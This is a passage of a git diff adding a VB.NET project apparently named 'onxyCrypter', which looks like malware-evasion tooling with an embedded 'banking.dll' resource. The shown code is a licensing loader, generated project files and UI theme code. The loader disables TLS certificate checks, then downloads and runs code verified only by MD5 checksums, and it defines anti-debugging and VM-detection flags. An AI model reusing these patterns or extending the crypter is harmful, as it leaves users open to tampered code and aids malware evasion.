Boolean) + End Get + End Property + + ReadOnly Property UpdateAvailable As Boolean + Get + Dim Data As Object = Instance.GetMethod("GetUpdateAvailable").Invoke(Nothing, Nothing) + Return DirectCast(Data, Boolean) + End Get + End Property + + ReadOnly Property UsersCount As Integer + Get + Dim Data As Object = Instance.GetMethod("GetUsersCount").Invoke(Nothing, Nothing) + Return DirectCast(Data, Integer) + End Get + End Property + + ReadOnly Property UsersOnline As Integer + Get + Dim Data As Object = Instance.GetMethod("GetUsersOnline").Invoke(Nothing, Nothing) + Return DirectCast(Data, Integer) + End Get + End Property + + ReadOnly Property GUID As String + Get + Dim Data As Object = Instance.GetMethod("GetGUID").Invoke(Nothing, Nothing) + Return DirectCast(Data, String) + End Get + End Property + + ReadOnly Property PublicToken As String + Get + Dim Data As Object = Instance.GetMethod("GetPublicToken").Invoke(Nothing, Nothing) + Return DirectCast(Data, String) + End Get + End Property + + ReadOnly Property PrivateKey As Byte() + Get + Dim Data As Object = Instance.GetMethod("GetPrivateKey").Invoke(Nothing, Nothing) + Return DirectCast(Data, Byte()) + End Get + End Property + + ReadOnly Property Client As WebClient + Get + Dim Data As Object = Instance.GetMethod("GetClient").Invoke(Nothing, Nothing) + Return DirectCast(Data, WebClient) + End Get + End Property + + ReadOnly Property News As NewsPost() + Get + Dim Data As Object = Instance.GetMethod("GetNews").Invoke(Nothing, Nothing) + Dim Values As Object() = DirectCast(Data, Object()) + + Dim Section As Integer + Dim T As New List(Of NewsPost) + + For I As Integer = 0 To Values.Length - 1 Step 3 + Section = I * 3 + T.Add(New NewsPost(Values(I), Values(I + 1), Values(I + 2))) + Next + + Return T.ToArray() + End Get + End Property + +#End Region + +#Region " Initialize Properties " + + Private _ID As String + Property ID() As String + Get + Return _ID + End Get + Set(ByVal value As String) + _ID = value + End Set + End Property + + Private _Catch As Boolean = True + Property [Catch]() As Boolean + Get + Return _Catch + End Get + Set(ByVal value As Boolean) + _Catch = value + End Set + End Property + + Private _DisableUpdates As Boolean + Property DisableUpdates() As Boolean + Get + Return _DisableUpdates + End Get + Set(ByVal value As Boolean) + _DisableUpdates = value + End Set + End Property + + Private _RunHook As GenericDelegate + Property RunHook() As GenericDelegate + Get + Return _RunHook + End Get + Set(ByVal value As GenericDelegate) + _RunHook = value + End Set + End Property + + Private _BanHook As GenericDelegate + Property BanHook() As GenericDelegate + Get + Return _BanHook + End Get + Set(ByVal value As GenericDelegate) + _BanHook = value + End Set + End Property + + Private _RenewHook As GenericDelegate + Property RenewHook() As GenericDelegate + Get + Return _RenewHook + End Get + Set(ByVal value As GenericDelegate) + _RenewHook = value + End Set + End Property + + Private _Protection As RuntimeProtection + Property Protection() As RuntimeProtection + Get + Return _Protection + End Get + Set(ByVal value As RuntimeProtection) + _Protection = value + End Set + End Property + + Private _ValidateCore As Boolean = True + Property ValidateCore As Boolean + Get + Return _ValidateCore + End Get + Set(ByVal value As Boolean) + _ValidateCore = value + End Set + End Property + +#End Region + +#Region " Public Methods " + + Sub Initialize(ByVal programID As String) + ID = programID + Initialize() + End Sub + + Sub Initialize() + If LicenseGlobal.LicenseInitialize Then Return + LicenseGlobal.LicenseInitialize = True + + If String.IsNullOrEmpty(ID) Then + ErrorKill("Unable to initialize due to missing Net Seal ID.") + Return + End If + + ServicePointManager.Expect100Continue = False + ServicePointManager.DefaultConnectionLimit = 5 + + Try + WC = New CookieClient() + + Dim Common As String = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + LocationPath = Path.Combine(Common, "Nimoru") + + LicenseLocation = Path.Combine(LocationPath, "LicenseSE") + GizmoDllLocation = Path.Combine(LocationPath, "GizmoDll") + GizmoLocation = Path.Combine(LocationPath, "GizmoSE") + + OverrideSSL() '--BEGIN OVERRIDE-- + + DownloadChecksums() + DownloadComponents() + + RestoreSSL() '--END OVERRIDE-- + + Endpoint = Checksums(5) + ValidateSignature() + + Instance.GetMethod("SetID").Invoke(Nothing, New Object() {ID}) + Instance.GetMethod("SetCatch").Invoke(Nothing, New Object() {[Catch]}) + Instance.GetMethod("SetDisableUpdates").Invoke(Nothing, New Object() {DisableUpdates}) + Instance.GetMethod("SetRunHook").Invoke(Nothing, New Object() {RunHook}) + Instance.GetMethod("SetBanHook").Invoke(Nothing, New Object() {BanHook}) + Instance.GetMethod("SetRenewHook").Invoke(Nothing, New Object() {RenewHook}) + Instance.GetMethod("SetScan").Invoke(Nothing, New Object() {DirectCast(Protection, Byte)}) + Catch ex As Exception + Dim T As New StringBuilder + T.AppendLine(Date.UtcNow.ToString) + T.AppendLine() + T.AppendLine(ex.Message) + T.AppendLine(ex.StackTrace) + File.WriteAllText("loader.log", T.ToString) + + ErrorKill("Unable to continue due to an error. Exception written to 'loader.log' file.") + Return + End Try + + Try + Instance.GetMethod("RunWE").Invoke(Nothing, New Object() {Version, ProductVersion, Endpoint}) + Catch + ErrorKill("Unable to initialize license file.") + End Try + End Sub + + Sub ShowAccount() + Instance.GetMethod("ShowAccount").Invoke(Nothing, Nothing) + End Sub + + Function Encrypt(ByVal data As String) As String + InitializeRm() + + Dim R As Byte() = Encoding.UTF8.GetBytes(data) + Dim O As Byte() = Encryptor.TransformFinalBlock(R, 0, R.Length) + Dim U(O.Length + 3) As Byte + + Buffer.BlockCopy(BitConverter.GetBytes(data.Length), 0, U, 0, 4) + Buffer.BlockCopy(O, 0, U, 4, O.Length) + + Return Convert.ToBase64String(U) + End Function + + Function Decrypt(ByVal data As Byte()) As Byte() + InitializeRm() + + Dim Size As Integer = BitConverter.ToInt32(data, 0) + Dim O As Byte() = Decryptor.TransformFinalBlock(data, 4, data.Length - 4) + + Dim U(Size - 1) As Byte + Buffer.BlockCopy(O, 0, U, 0, Size) + + Return U + End Function + + 'NOTE: If String.IsNullOrEmpty() get new posts from License.News. + Function GetPostMessage(ByVal postID As Integer) As String + Dim Data As Object = Instance.GetMethod("GetPostMessage").Invoke(Nothing, New Object() {postID}) + Return DirectCast(Data, String) + End Function + + Function GetVariable(ByVal name As String) As String + Dim Data As Object = Instance.GetMethod("GetVariable").Invoke(Nothing, New Object() {name}) + Return DirectCast(Data, String) + End Function + + Function SpendPoints(ByVal count As Integer) As Boolean + Dim Data As Object = Instance.GetMethod("SpendPoints").Invoke(Nothing, New Object() {count}) + Return DirectCast(Data, Boolean) + End Function + + Sub InstallUpdates() + Instance.GetMethod("InstallUpdates").Invoke(Nothing, Nothing) + End Sub + + Sub BanCurrentUser(ByVal reason As String) + Instance.GetMethod("BanCurrentUser").Invoke(Nothing, New Object() {reason}) + End Sub + +#End Region + +#Region " System Declarations " + + 'IMPORTANT: DO NOT CHANGE THIS! + Private Version As New Version("2.0.0.5") + + Private Instance As Type + Private WC As CookieClient + + Private LocationPath As String + Private LicenseLocation As String + Private GizmoDllLocation As String + Private GizmoLocation As String + + Private Checksums As String() + Private Endpoint As String + + Private Const Domain1 As String = "http://seal.elitevs.net/Base/" + Private Const Domain2 As String = "https://s3.amazonaws.com/nimoru/" + + Private Const PublicKey As String = "BgIAAAAiAABEU1MxAAQAAKVlurdZMaHymNk04yRy3VGj0Bhf6gGIBsGr1zk42LrdnwYLfvn7MBAiYoCH2cD07M/HuM6NW1WqJQVF2omwH5S211wfvBCutU92RxXldmfvd06l8eQqmppztYIrXdxmW0BRlosBKPM5ms6YXZnoMKseAoqZ6Ajza8U9QCJMkSHSR+O23EoGj9V+7xwkCoYHklFtLJzERB6y/DW1BCCHhLblzpFz+mht1CD6xAi2QBNY7vZcWdbqo+ZLT4y7sw8jU61liYBuZLA/t+6KHhoIwZ+NIErsCHW5RD9ln5VpMC66wBCcY594ZTIManIuvmpw4eQaUXZPoMogf29gJgJSolaDg5iP1XDqzOTPu9RdsHe3R1ZaNglrL05zoTM94Zkl5KT+bPAUC99kGrEDmNipe6tj8FwoOTNNaTaOvWZlXTtAfaxqGV47nxKfabgxEl08n0c3PBJEjUZzJ4chwQ2Ex2A5uYBgRukcmKmRmdwIphHq0IwdoxS1+6HSwXxg1d3EEAoxJ75R1eSXF+cXOeC7d/U2UY0tqwAAAMvTiz5uMzpBQIYdNcbYnrJwHObk" + + Private ReadOnly Property UID As String + Get + Return "?uid=" & BitConverter.ToString(BitConverter.GetBytes(Environment.TickCount)).Replace("-", "") + End Get + End Property + + Private Encryptor As ICryptoTransform + Private Decryptor As ICryptoTransform + Private RmInitialize As Boolean + + _ + Delegate Sub GenericDelegate() + + _ + Private Shared Sub ExitProcess(ByVal code As UInteger) + End Sub + + _ + Private Shared Function StrongNameSignatureVerificationEx( _ + ByVal fileName As String, _ + ByVal force As Boolean, _ + ByRef genuine As Boolean) As Boolean + End Function + + _ + Private Shared Function CreateInstance( _ + ByVal cid As Guid, _ + ByVal iid As Guid) As Object + End Function + +#End Region + +#Region " System Methods " + + Private Sub DownloadChecksums() + Try + Checksums = WC.DownloadString(Domain1 & "checksumSE.php" & UID).Split(Char.MinValue) + Catch ex As Exception + Threading.Thread.Sleep(500) + Checksums = WC.DownloadString(Domain2 & "checksumSE.txt" & UID).Split(Convert.ToChar(124)) + End Try + End Sub + + Private Sub DownloadComponents() + Dim Hash As String + If Not Directory.Exists(LocationPath) Then + Directory.CreateDirectory(LocationPath) + End If + + If Not File.Exists(GizmoDllLocation) Then + DownloadGizmoDll() + End If + + Hash = MD5File(GizmoDllLocation) + If Not Hash = Checksums(1) Then + DownloadGizmoDll() + End If + + If Not File.Exists(GizmoLocation) Then + DownloadGizmo() + End If + + Hash = MD5File(GizmoLocation) + If Not Hash = Checksums(2) Then + DownloadGizmo() + End If + + If Not File.Exists(LicenseLocation) Then + DownloadLicense() + End If + + Hash = MD5File(LicenseLocation) + If Not Hash = Checksums(3) Then + DownloadLicense() + End If + End Sub + + Private Sub ValidateSignature() + If ValidateCore AndAlso Not CheckCore() Then + Throw New InvalidDataException("Core framework files are not trusted.") + Return + End If + + Dim M As FileStream = File.OpenRead(LicenseLocation) + Dim R As New BinaryReader(M) + + Dim FullData As Byte() = R.ReadBytes(CInt(M.Length)) + M.Position = 2 + + Dim Sign As Byte() = R.ReadBytes(40) + Dim Data As Byte() = R.ReadBytes(CInt(M.Length - Sign.Length - 2)) + R.Close() + + Dim DSA As New DSACryptoServiceProvider + DSA.ImportCspBlob(Convert.FromBase64String(PublicKey)) + + If DSA.VerifyData(Data, Sign) Then + Instance = Assembly.Load(FullData).GetType("Share") + Else + Throw New InvalidDataException("Unable to validate signature.") + End If + End Sub + + + Private Sub DownloadGizmoDll() + Dim Data As Byte() = WC.DownloadData(Checksums(0) & Checksums(1) & ".co") + Data = Decompress(Data) + + Dim Hash As String = MD5(Data) + If Not Checksums(1) = Hash Then + Fail(GizmoDllLocation) + Return + End If + + File.WriteAllBytes(GizmoDllLocation, Data) + End Sub + + Private Sub DownloadGizmo() + Dim Data As Byte() = WC.DownloadData(Checksums(0) & Checksums(2) & ".co") + Data = GizmoDecompress(Data) + + Dim Hash As String = MD5(Data) + If Not Checksums(2) = Hash Then + Fail(GizmoLocation) + Return + End If + + File.WriteAllBytes(GizmoLocation, Data) + End Sub + + Private Sub DownloadLicense() + Dim PI As New ProcessStartInfo + PI.Arguments = String.Format("""{0}"" ""{1}"" {2} -s", Checksums(0) & Checksums(3) & ".co", LicenseLocation, Checksums(3)) + PI.FileName = GizmoLocation + PI.UseShellExecute = False + + Dim P As Process = Process.Start(PI) + If Not P.WaitForExit(20000) Then + Environment.Exit(0) + End If + + If Not P.ExitCode = 7788 Then + Environment.Exit(0) + End If + End Sub + + + Private Sub Fail(ByVal path As String) + File.Delete(path) + ErrorKill("Failed to initialize all the required components.") + End Sub + + Private Sub ErrorKill(ByVal message As String) + MessageBox.Show(message, "Loader Error", MessageBoxButtons.OK, MessageBoxIcon.Error) + Environment.Exit(0) + ExitProcess(0) + End Sub + + + Private Function Decompress(ByVal data As Byte()) As Byte() + Dim Size As Integer = BitConverter.ToInt32(data, 0) + + Dim U(Size - 1) As Byte + Dim M As New MemoryStream(data, 4, data.Length - 4) + + Dim D As New DeflateStream(M, CompressionMode.Decompress, False) + D.Read(U, 0, U.Length) + + D.Close() + M.Close() + Return U + End Function + + Private Function GizmoDecompress(ByVal data As Byte()) As Byte() + Dim GizmoDll As Byte() = File.ReadAllBytes(GizmoDllLocation) + Dim G As MethodInfo = Assembly.Load(GizmoDll).GetType("H").GetMethod("Decompress") + Return DirectCast(G.Invoke(Nothing, New Object() {data}), Byte()) + End Function + + + Private Function MD5(ByVal data As Byte()) As String + Dim H As New MD5CryptoServiceProvider + Return HashToString(H.ComputeHash(data)) + End Function + + Private Function MD5File(ByVal path As String) As String + Dim F As New FileStream(path, FileMode.Open, FileAccess.Read) + Dim H As New MD5CryptoServiceProvider + + Dim Hash As String = HashToString(H.ComputeHash(F)) + + F.Close() + Return Hash + End Function + + Private Function HashToString(ByVal data As Byte()) As String + Return BitConverter.ToString(data).ToLower().Replace("-", String.Empty) + End Function + + Private Sub InitializeRm() + If RmInitialize Then Return + RmInitialize = True + + Dim Rm As New RijndaelManaged + Rm.Padding = PaddingMode.Zeros + Rm.Mode = CipherMode.CBC + Rm.Key = PrivateKey + Rm.IV = PrivateKey + + Encryptor = Rm.CreateEncryptor() + Decryptor = Rm.CreateDecryptor() + End Sub + + Private SN As IStrongName + + Private Function CheckCore() As Boolean + Dim Base As String = RuntimeEnvironment.GetRuntimeDirectory() + Dim Build As String = RuntimeEnvironment.GetSystemVersion() + Dim HostCLR As Boolean = Int32.Parse(Build(1).ToString()) >= 4 + + If HostCLR Then + Dim CID_META_HOST As New Guid("9280188D-0E8E-4867-B30C-7FA83884E8DE") + Dim CID_STRONG_NAME As New Guid("B79B0ACD-F5CD-409B-B5A5-A16244610B92") + + Dim Meta As IMeta = DirectCast(CreateInstance(CID_META_HOST, GetType(IMeta).GUID), IMeta) + Dim Runtime As IRuntime = DirectCast(Meta.GetRuntime(Build, GetType(IRuntime).GUID), IRuntime) + SN = DirectCast(Runtime.GetInterface(CID_STRONG_NAME, GetType(IStrongName).GUID), IStrongName) + End If + + Dim File1 As String = Path.ChangeExtension(Path.Combine(Base, "mscorlib"), "dll") + Dim File2 As String = Path.ChangeExtension(Path.Combine(Base, "system"), "dll") + + Dim Token As Byte() = New Byte() {183, 122, 92, 86, 25, 52, 224, 137} + If Not IsTrusted(File1, Token, HostCLR) Then Return False + If Not IsTrusted(File2, Token, HostCLR) Then Return False + + Return True + End Function + + Private Function IsTrusted(ByVal path As String, ByVal token As Byte(), ByVal hostCLR As Boolean) As Boolean + Dim Genuine As Boolean + + If hostCLR Then + If Not (SN.StrongNameSignatureVerificationEx(path, True, Genuine) = 0 AndAlso Genuine) Then Return False + Else + If Not (StrongNameSignatureVerificationEx(path, True, Genuine) AndAlso Genuine) Then Return False + End If + + Dim PublicToken As Byte() = Assembly.LoadFile(path).GetName().GetPublicKeyToken() + If PublicToken Is Nothing OrElse Not PublicToken.Length = 8 Then Return False + + For I As Integer = 0 To 7 + If Not PublicToken(I) = token(I) Then Return False + Next + + Return True + End Function + + Private SSLCallback As RemoteCertificateValidationCallback + Private Function ValidateSSL(ByVal sender As Object, ByVal cert As X509Certificate, ByVal chain As X509Chain, ByVal errors As SslPolicyErrors) As Boolean + Return True + End Function + + Private Sub OverrideSSL() + SSLCallback = ServicePointManager.ServerCertificateValidationCallback + ServicePointManager.ServerCertificateValidationCallback = New RemoteCertificateValidationCallback(AddressOf ValidateSSL) + End Sub + + Private Sub RestoreSSL() + ServicePointManager.ServerCertificateValidationCallback = SSLCallback + End Sub + +#End Region + + _ + Private Interface IMeta + Function GetRuntime(ByVal version As String, ByVal iid As Guid) As Object + End Interface + + _ + Private Interface IRuntime + Sub M1() + Sub M2() + Sub M3() + Sub M4() + Sub M5() + Sub M6() + Function GetInterface( cid As Guid, iid As Guid) As Object + End Interface + + _ + Private Interface IStrongName + Sub M1() + Sub M2() + Sub M3() + Sub M4() + Sub M5() + Sub M6() + Sub M7() + Sub M8() + Sub M9() + Sub M10() + Sub M11() + Sub M12() + Sub M13() + Sub M14() + Sub M15() + Sub M16() + Sub M17() + Sub M18() + Sub M19() + Sub M20() + Function StrongNameSignatureVerificationEx(ByVal filePath As String, ByVal force As Boolean, ByRef genuine As Boolean) As Integer + End Interface + +End Class + +Friend Module LicenseGlobal + + Friend Seal As New License + Friend LicenseInitialize As Boolean + +End Module + +Friend Enum LicenseType As Byte + Free = 0 + Bronze = 1 + Silver = 2 + Gold = 3 + Platinum = 4 + Diamond = 5 +End Enum + + _ +Friend Enum RuntimeProtection As Byte + None = 0 + Debuggers = 1 + DebuggersEx = 2 + Timing = 4 + Parent = 8 + FullScan = 15 + VirtualMachine = 16 +End Enum + +Friend Structure NewsPost + Private ReadOnly _ID As Integer + ReadOnly Property ID() As Integer + Get + Return _ID + End Get + End Property + + Private ReadOnly _Name As String + ReadOnly Property Name() As String + Get + Return _Name + End Get + End Property + + Private ReadOnly _Time As Date + ReadOnly Property Time() As Date + Get + Return _Time + End Get + End Property + + Sub New(ByVal id As Object, ByVal name As Object, ByVal time As Object) + _ID = DirectCast(id, Integer) + _Name = DirectCast(name, String) + _Time = DirectCast(time, Date) + End Sub +End Structure + +Friend NotInheritable Class CookieClient + Inherits WebClient + + Private Request As HttpWebRequest + Public Cookies As New CookieContainer + + Protected Overrides Function GetWebRequest(ByVal address As Uri) As WebRequest + Request = DirectCast(MyBase.GetWebRequest(address), HttpWebRequest) + Request.Timeout = 8000 + Request.ReadWriteTimeout = 30000 + Request.KeepAlive = False + Request.CookieContainer = Cookies + Request.Proxy = Nothing + Return Request + End Function + + Sub ClearCookies() + Cookies = New CookieContainer + End Sub + +End Class \ No newline at end of file diff --git a/scode (onxyCrypter/builder/builder/My Project/Application.Designer.vb b/scode (onxyCrypter/builder/builder/My Project/Application.Designer.vb new file mode 100644 index 0000000..e2f2236 --- /dev/null +++ b/scode (onxyCrypter/builder/builder/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.296 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = false + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.Onyx.Form1 + End Sub + End Class +End Namespace diff --git a/scode (onxyCrypter/builder/builder/My Project/Application.myapp b/scode (onxyCrypter/builder/builder/My Project/Application.myapp new file mode 100644 index 0000000..3d33ef6 --- /dev/null +++ b/scode (onxyCrypter/builder/builder/My Project/Application.myapp @@ -0,0 +1,10 @@ + + + true + Form1 + false + 0 + true + 0 + false + \ No newline at end of file diff --git a/scode (onxyCrypter/builder/builder/My Project/AssemblyInfo.vb b/scode (onxyCrypter/builder/builder/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..75f4e09 --- /dev/null +++ b/scode (onxyCrypter/builder/builder/My Project/AssemblyInfo.vb @@ -0,0 +1,39 @@ +Imports System.Resources + +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + + + \ No newline at end of file diff --git a/scode (onxyCrypter/builder/builder/My Project/Resources.Designer.vb b/scode (onxyCrypter/builder/builder/My Project/Resources.Designer.vb new file mode 100644 index 0000000..bb09fe6 --- /dev/null +++ b/scode (onxyCrypter/builder/builder/My Project/Resources.Designer.vb @@ -0,0 +1,77 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.296 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Onyx.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + + Friend ReadOnly Property banking() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("banking", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + Friend ReadOnly Property icon() As System.Drawing.Icon + Get + Dim obj As Object = ResourceManager.GetObject("icon", resourceCulture) + Return CType(obj,System.Drawing.Icon) + End Get + End Property + End Module +End Namespace diff --git a/scode (onxyCrypter/builder/builder/My Project/Resources.resx b/scode (onxyCrypter/builder/builder/My Project/Resources.resx new file mode 100644 index 0000000..90d5b89 --- /dev/null +++ b/scode (onxyCrypter/builder/builder/My Project/Resources.resx @@ -0,0 +1,127 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\banking.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\icon.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + \ No newline at end of file diff --git a/scode (onxyCrypter/builder/builder/My Project/Settings.Designer.vb b/scode (onxyCrypter/builder/builder/My Project/Settings.Designer.vb new file mode 100644 index 0000000..d2ce215 --- /dev/null +++ b/scode (onxyCrypter/builder/builder/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.296 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.Onyx.My.MySettings + Get + Return Global.Onyx.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (onxyCrypter/builder/builder/My Project/Settings.settings b/scode (onxyCrypter/builder/builder/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (onxyCrypter/builder/builder/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (onxyCrypter/builder/builder/My Project/app.manifest b/scode (onxyCrypter/builder/builder/My Project/app.manifest new file mode 100644 index 0000000..cbe08de --- /dev/null +++ b/scode (onxyCrypter/builder/builder/My Project/app.manifest @@ -0,0 +1,48 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/scode (onxyCrypter/builder/builder/Resources/banking.dll b/scode (onxyCrypter/builder/builder/Resources/banking.dll new file mode 100644 index 0000000..ec9d77c Binary files /dev/null and b/scode (onxyCrypter/builder/builder/Resources/banking.dll differ diff --git a/scode (onxyCrypter/builder/builder/Resources/icon.ico b/scode (onxyCrypter/builder/builder/Resources/icon.ico new file mode 100644 index 0000000..b0ee551 Binary files /dev/null and b/scode (onxyCrypter/builder/builder/Resources/icon.ico differ diff --git a/scode (onxyCrypter/builder/builder/Theme.vb b/scode (onxyCrypter/builder/builder/Theme.vb new file mode 100644 index 0000000..3f25b59 --- /dev/null +++ b/scode (onxyCrypter/builder/builder/Theme.vb @@ -0,0 +1,2968 @@ +Imports System, System.Collections +Imports System.Drawing, System.Drawing.Drawing2D +Imports System.ComponentModel, System.Windows.Forms +Imports System.IO, System.Collections.Generic +Imports System.Runtime.InteropServices +Imports System.Drawing.Imaging +''''''''''''''''''''''''''''''''''''''''''''''''''' +''''Credits: Aeonhack, Mavamaarten, Support™.''''' +''''''''''''Themebase version: 1.5.4''''''''''''''' +''''''''''''''''''''''''''''''''''''''''''''''''''' +#Region "VTheme" + + +Class VTheme + Inherits ThemeContainer154 + + Sub New() + TransparencyKey = Color.Fuchsia + End Sub + + Protected Overrides Sub ColorHook() + + End Sub + + Protected Overrides Sub PaintHook() + G.Clear(Color.FromArgb(12, 12, 12)) + Dim P As New Pen(Color.FromArgb(32, 32, 32)) + G.DrawLine(P, 11, 31, Width - 12, 31) + G.DrawLine(P, 11, 8, Width - 12, 8) + G.FillRectangle(New LinearGradientBrush(New Rectangle(8, 38, Width - 16, Height - 46), Color.FromArgb(12, 12, 12), Color.FromArgb(18, 18, 18), LinearGradientMode.BackwardDiagonal), 8, 38, Width - 16, Height - 46) + DrawText(Brushes.DarkMagenta, HorizontalAlignment.Left, 25, 6) + DrawBorders(New Pen(Color.FromArgb(60, 60, 60)), 1) + DrawBorders(Pens.Black) + + P = New Pen(Color.FromArgb(25, 25, 25)) + G.DrawLine(Pens.Black, 6, 0, 6, Height - 6) + G.DrawLine(Pens.Black, Width - 6, 0, Width - 6, Height - 6) + G.DrawLine(P, 6, 0, 6, Height - 6) + G.DrawLine(P, Width - 8, 0, Width - 8, Height - 6) + + G.DrawRectangle(Pens.Black, 11, 4, Width - 23, 22) + G.DrawLine(P, 6, Height - 6, Width - 8, Height - 6) + G.DrawLine(Pens.Black, 6, Height - 8, Width - 8, Height - 8) + DrawCorners(Color.Fuchsia) + End Sub + +End Class + +Class VTabControl + Inherits TabControl + Dim OldIndex As Integer + Private _Speed As Integer = 20 + Public Property Speed() As Integer + Get + Return _Speed + End Get + Set(ByVal value As Integer) + If value > 20 Or value < -20 Then + MsgBox("Speed needs to be in between -20 and 20.") + Else + _Speed = value + End If + End Set + End Property + Private LightBlack As Color = Color.FromArgb(18, 18, 18) + Private LighterBlack As Color = Color.FromArgb(21, 21, 21) + Private DrawGradientBrush, DrawGradientBrush2, DrawGradientBrushPen, DrawGradientBrushTab As LinearGradientBrush + Private _ControlBColor As Color + Public Property TabTextColor() As Color + Get + Return _ControlBColor + End Get + Set(ByVal v As Color) + _ControlBColor = v + Invalidate() + End Set + End Property + + Sub New() + MyBase.New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.OptimizedDoubleBuffer Or ControlStyles.ResizeRedraw Or ControlStyles.UserPaint, True) + TabTextColor = Color.DarkMagenta + End Sub + Sub DoAnimationScrollDown(ByVal Control1 As Control, ByVal Control2 As Control) + Dim G As Graphics = Control1.CreateGraphics() + Dim P1 As New Bitmap(Control1.Width, Control1.Height) + Dim P2 As New Bitmap(Control2.Width, Control2.Height) + Control1.DrawToBitmap(P1, New Rectangle(0, 0, Control1.Width, Control1.Height)) + Control2.DrawToBitmap(P2, New Rectangle(0, 0, Control2.Width, Control2.Height)) + For Each c As Control In Control1.Controls + c.Hide() + Next + Dim Slide As Integer = Control1.Height - (Control1.Height Mod _Speed) + Dim a As Integer + For a = 0 To Slide Step _Speed + G.DrawImage(P1, New Rectangle(0, a, Control1.Width, Control1.Height)) + G.DrawImage(P2, New Rectangle(0, a - Control2.Height, Control2.Width, Control2.Height)) + Next + a = Control1.Width + G.DrawImage(P1, New Rectangle(0, a, Control1.Width, Control1.Height)) + G.DrawImage(P2, New Rectangle(0, a - Control2.Height, Control2.Width, Control2.Height)) + SelectedTab = Control2 + For Each c As Control In Control2.Controls + c.Show() + Next + For Each c As Control In Control1.Controls + c.Show() + Next + End Sub + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + 